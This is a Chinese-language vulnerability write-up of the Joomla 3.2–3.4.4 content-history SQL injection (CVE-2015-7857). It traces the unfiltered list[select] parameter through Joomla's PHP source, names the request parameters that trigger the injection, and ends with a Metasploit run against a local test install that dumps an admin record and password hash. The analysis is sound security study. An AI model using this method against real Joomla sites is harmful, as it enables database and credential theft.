Joomla 3.2-3.4.4 Sqli CVE-2015-7857 漏洞分析
26 Oct 2015 - Tr3jer_CongRong
Joomla是一套获得过多个奖项的内容管理系统(Content Management System,CMS),它采用PHP+MySQL数据库开发,可以运行在Linux、Windows、MacOSX、Solaris等多种平台上。除了具有新闻/文章管理、文档/图片管理、网站布局设置、模板/主题管理等一些基本功能外,还可以通过其提供的上千个插件进行功能扩展。同时它还支持多种语言,由于它的功能非常强大,语言支持强,因此在全世界范围内都有很广泛的应用。
漏洞分析
Joomla近日爆出一个由于接收参数过滤不严导致sql注入的漏洞CVE-2015-7857,通过这个注入漏洞甚至可以得到数据库中任何数据,首先看看漏洞触发组件contenthistory
。
/components/com_contenthistory/contenthistory.php
<?php
defined('_JEXEC') or die;
// Load the com_contenthistory language files, default to the admin file and fall back to site if one isn't found
$lang = JFactory::getLanguage();
$lang->load('com_contenthistory', JPATH_ADMINISTRATOR, null, false, true)
|| $lang->load('com_contenthistory', JPATH_SITE, null, false, true);
// Hand processing over to the admin base file
require_once JPATH_COMPONENT_ADMINISTRATOR . '/contenthistory.php';
加载了/administrator/components/com_contenthistory/contenthistory.php
这个文件,Joomla管理组件都放在/administrator/components/
目录下,而且所有管理组件都会先检查权限:
if (!JFactory::getUser()->authorise('core.manage', 'com_checkin'))
{
return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR'));
}
可是com_contenthistory
组件在require之前并没有进行此权限检查,再看看加载的这个组件都做了什么。
/administrator/components/com_contenthistory/contenthistory.php
<?php
defined('_JEXEC') or die;
$controller = JControllerLegacy::getInstance('Contenthistory', array('base_path' => JPATH_COMPONENT_ADMINISTRATOR));
$controller->execute(JFactory::getApplication()->input->get('task'));
$controller->redirect();
首先调用JControllerLegacy
类并赋值给变量$controller
,随后$controller
调用了控制器execute()
方法。调用的过程传递了JFactory
类的getApplication()
方法,最后调用了display()
控制类,用来实现显示的视图模块。
/libraries/legacy/controller/legacy.php
public function display($cachable = false, $urlparams = array())
{
$document = JFactory::getDocument();
$viewType = $document->getType();
$viewName = $this->input->get('view', $this->default_view);
$viewLayout = $this->input->get('layout', 'default', 'string');
$view = $this->getView($viewName, $viewType, '', array('base_path' => $this->basePath, 'layout' => $viewLayout));
// Get/Create the model
if ($model = $this->getModel($viewName))
{
// Push the model into the view (as default)
$view->setModel($model, true);
}
$view->document = $document;
$conf = JFactory::getConfig();
// Display the view
if ($cachable && $viewType != 'feed' && $conf->get('caching') >= 1)
{
$option = $this->input->get('option');
$cache = JFactory::getCache($option, 'view');
if (is_array($urlparams))
{
$app = JFactory::getApplication();
if (!empty($app->registeredurlparams))
{
$registeredurlparams = $app->registeredurlparams;
}
else
{
$registeredurlparams = new stdClass;
}
foreach ($urlparams as $key => $value)
{
// Add your safe url parameters with variable type as value {@see JFilterInput::clean()}.
$registeredurlparams->$key = $value;
}
$app->registeredurlparams = $registeredurlparams;
}
$cache->get($view, 'display');
}
else
{
$view->display();
}
return $this;
}
程序进行到这个方法时会接收view
参数进行显示视图,在第一个if语句快中可以看出请求到模块名时则加载对应的模块,最后$view
调用display()
方法进行视图处理。跟进到administrator
历史模块的数据库操作方法,程序进行到此调用getListQuery()
方法时进行数据提取。
/administrator/components/com_contenthistory/models/history.php
protected function getListQuery()
{
// Create a new query object.
$db = $this->getDbo();
$query = $db->getQuery(true);
// Select the required fields from the table.
$query->select(
$this->getState(
'list.select',
'h.version_id, h.ucm_item_id, h.ucm_type_id, h.version_note, h.save_date, h.editor_user_id,' .
'h.character_count, h.sha1_hash, h.version_data, h.keep_forever'
)
)
->from($db->quoteName('#__ucm_history') . ' AS h')
->where($db->quoteName('h.ucm_item_id') . ' = ' . $this->getState('item_id'))
->where($db->quoteName('h.ucm_type_id') . ' = ' . $this->getState('type_id'))
// Join over the users for the editor
->select('uc.name AS editor')
->join('LEFT', '#__users AS uc ON uc.id = h.editor_user_id');
// Add the list ordering clause.
$orderCol = $this->state->get('list.ordering');
$orderDirn = $this->state->get('list.direction');
$query->order($db->quoteName($orderCol) . $orderDirn);
return $query;
}
进行数据提取的时候调用了getState()
函数,用于获取请求模型的属性值。
/libraries/legacy/model/legacy.php
public function getState($property = null, $default = null)
{
if (!$this->__state_set)
{
// Protected method to auto-populate the model state.
$this->populateState();
// Set the model state set flag to true.
$this->__state_set = true;
}
return $property === null ? $this->state : $this->state->get($property, $default);
}
随后调用当前类的populateState()
方法,用于过滤请求的参数为指定的数据类型。
/administrator/components/com_contenthistory/models/history.php
protected function populateState($ordering = null, $direction = null)
{
$input = JFactory::getApplication()->input;
$itemId = $input->get('item_id', 0, 'integer');
$typeId = $input->get('type_id', 0, 'integer');
$typeAlias = $input->get('type_alias', '', 'string');
$this->setState('item_id', $itemId);
$this->setState('type_id', $typeId);
$this->setState('type_alias', $typeAlias);
$this->setState('sha1_hash', $this->getSha1Hash());
// Load the parameters.
$params = JComponentHelper::getParams('com_contenthistory');
$this->setState('params', $params);
// List state information.
parent::populateState('h.save_date', 'DESC');
}
程序执行到方法末尾时执行了parent::populateState('h.save_date', 'DESC');
也就是调用父类的populateState()
方法,用于过滤接收的list[]
数组。
/libraries/legacy/model/list.php
protected function populateState($ordering = null, $direction = null)
{
// If the context is set, assume that stateful lists are used.
if ($this->context)
{
$app = JFactory::getApplication();
// Receive & set filters
if ($filters = $app->getUserStateFromRequest($this->context . '.filter', 'filter', array(), 'array'))
{
foreach ($filters as $name => $value)
{
$this->setState('filter.' . $name, $value);
}
}
$limit = 0;
// Receive & set list options
if ($list = $app->getUserStateFromRequest($this->context . '.list', 'list', array(), 'array'))
{
foreach ($list as $name => $value)
{
// Extra validations
switch ($name)
{
case 'fullordering':
$orderingParts = explode(' ', $value);
if (count($orderingParts) >= 2)
{
// Latest part will be considered the direction
$fullDirection = end($orderingParts);
if (in_array(strtoupper($fullDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $fullDirection);
}
unset($orderingParts[count($orderingParts) - 1]);
// The rest will be the ordering
$fullOrdering = implode(' ', $orderingParts);
if (in_array($fullOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $fullOrdering);
}
}
else
{
$this->setState('list.ordering', $ordering);
$this->setState('list.direction', $direction);
}
break;
case 'ordering':
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
}
break;
case 'direction':
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
}
break;
case 'limit':
$limit = $value;
break;
// Just to keep the default case
default:
$value = $value;
break;
}
$this->setState('list.' . $name, $value);
}
}
else
// Keep B/C for components previous to jform forms for filters
{
// Pre-fill the limits
$limit = $app->getUserStateFromRequest('global.list.limit', 'limit', $app->get('list_limit'), 'uint');
$this->setState('list.limit', $limit);
// Check if the ordering field is in the white list, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.ordercol', 'filter_order', $ordering);
if (!in_array($value, $this->filter_fields))
{
$value = $ordering;
$app->setUserState($this->context . '.ordercol', $value);
}
$this->setState('list.ordering', $value);
// Check if the ordering direction is valid, otherwise use the incoming value.
$value = $app->getUserStateFromRequest($this->context . '.orderdirn', 'filter_order_Dir', $direction);
if (!in_array(strtoupper($value), array('ASC', 'DESC', '')))
{
$value = $direction;
$app->setUserState($this->context . '.orderdirn', $value);
}
$this->setState('list.direction', $value);
}
// Support old ordering field
$oldOrdering = $app->input->get('filter_order');
if (!empty($oldOrdering) && in_array($oldOrdering, $this->filter_fields))
{
$this->setState('list.ordering', $oldOrdering);
}
// Support old direction field
$oldDirection = $app->input->get('filter_order_Dir');
if (!empty($oldDirection) && in_array(strtoupper($oldDirection), array('ASC', 'DESC', '')))
{
$this->setState('list.direction', $oldDirection);
}
$value = $app->getUserStateFromRequest($this->context . '.limitstart', 'limitstart', 0);
$limitstart = ($limit != 0 ? (floor($value / $limit) * $limit) : 0);
$this->setState('list.start', $limitstart);
}
else
{
$this->setState('list.start', 0);
$this->setState('list.limit', 0);
}
}
函数使用switch语句判断fullordering
、ordering
、direction
、limit
是否过滤,但是没有验证list[select]
,这时当程序执行到$this->getState(list.select)
,则导致注入。测试下,访问contenthistory
组件时无限制加载,option=comtenthistory加载历史模块,view=history加载历史视图,list[select]=1满足条件时,则会报错。
程序执行到populateState()
方法接收参数时确保item_id
、type_id
、list[ordering]
要同时传递,就可以构造payload进行报错注入获得数据,无需获取表前缀,%23_即为joomla表前缀,joomla会自动将#_转换为表前缀,因为joomla的前缀为随机字符串,也可以通过报错获得这个随机字符串。
Msf也已经更新了此漏洞的Exploit:
msf > use auxiliary/gather/joomla_contenthistory_sqli
msf auxiliary(joomla_contenthistory_sqli) > show options
Module options (auxiliary/gather/joomla_contenthistory_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST yes The target address
RPORT 80 yes The target port
TARGETURI / yes The relative URI of the Joomla instance
VHOST no HTTP server virtual host
msf auxiliary(joomla_contenthistory_sqli) > set RHOST 127.0.0.1
RHOST => 127.0.0.1
msf auxiliary(joomla_contenthistory_sqli) > set TARGETURI /joomla_3.4.4
TARGETURI => /joomla_3.4.4
msf auxiliary(joomla_contenthistory_sqli) > show options
Module options (auxiliary/gather/joomla_contenthistory_sqli):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOST 127.0.0.1 yes The target address
RPORT 80 yes The target port
TARGETURI /joomla_3.4.4 yes The relative URI of the Joomla instance
VHOST no HTTP server virtual host
msf auxiliary(joomla_contenthistory_sqli) > run
[+] Saved file to: /Users/CongRong/.msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[+] Saved file to: /Users/CongRong/.msf4/loot/20151026230917_default_127.0.0.1_joomla.users_140130.txt
[*] Auxiliary module execution completed
msf auxiliary(joomla_contenthistory_sqli) > cat .msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[*] exec: cat .msf4/loot/20151026230744_default_127.0.0.1_joomla.users_471318.txt
[{"activation":"","block":"","email":"admin@qq.com","id":"1","lastResetTime":"","lastvisitDate":"","name":"","otep":"","otpKey":"","params":"","password":"d1a1976e385ae56e05524b9517111c75e47c1d23079229c867a7ecc5cd76e8a3","registerDate":"","requireReset":"","resetCount":"","sendEmail":"","username":"admin"}]